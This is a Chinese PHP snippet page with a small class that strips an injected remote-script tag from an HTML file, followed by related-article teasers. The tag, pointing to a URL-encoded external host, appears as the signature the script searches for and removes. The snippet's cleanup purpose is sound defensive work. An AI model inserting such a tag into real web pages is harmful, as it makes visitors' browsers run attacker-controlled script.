php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP 5.3 下载时 VC9、VC6、Thread Safe、Non Thread Safe的区别分析

一共给了四个版本,VC9 x86 Non Thread Safe、VC9 x86 Thread Safe、VC6 x86 Non Thread Safe、VC6 x86 Thread S...

PHP学习笔记(一) 简单了解PHP

PHP学习笔记(一) 简单了解PHP

目标规划: 通过第一节课,我们可以了解php环境. 1.环境的认识: 2.访问方法: 3.修改代码及查看. 4.变量的使用 5.代码缩进要有层次关系,而且代码之间最好保留空行 6.变量命...

Linux下创建nginx脚本-start、stop、reload…

1、关闭nginx 利用ps -aux | grep nginx 查看nginx是否启动 如果启动了就kill杀死 2、创建/etc/init.d/nginx文件 root@dnnp...

php生成圆角图片的方法

本文实例讲述了php生成圆角图片的方法。分享给大家供大家参考。具体如下: 复制代码 代码如下:<?php $image_file = $_GET['src']; $corn...

PHP单例模式定义与使用实例详解

本文实例讲述了PHP单例模式定义与使用。分享给大家供大家参考,具体如下: 先简单的介绍一下单例模式。单例模式就是在应用程序中保持某一个类实例只存在一个,而且不可以受外部环境的影响而生成这...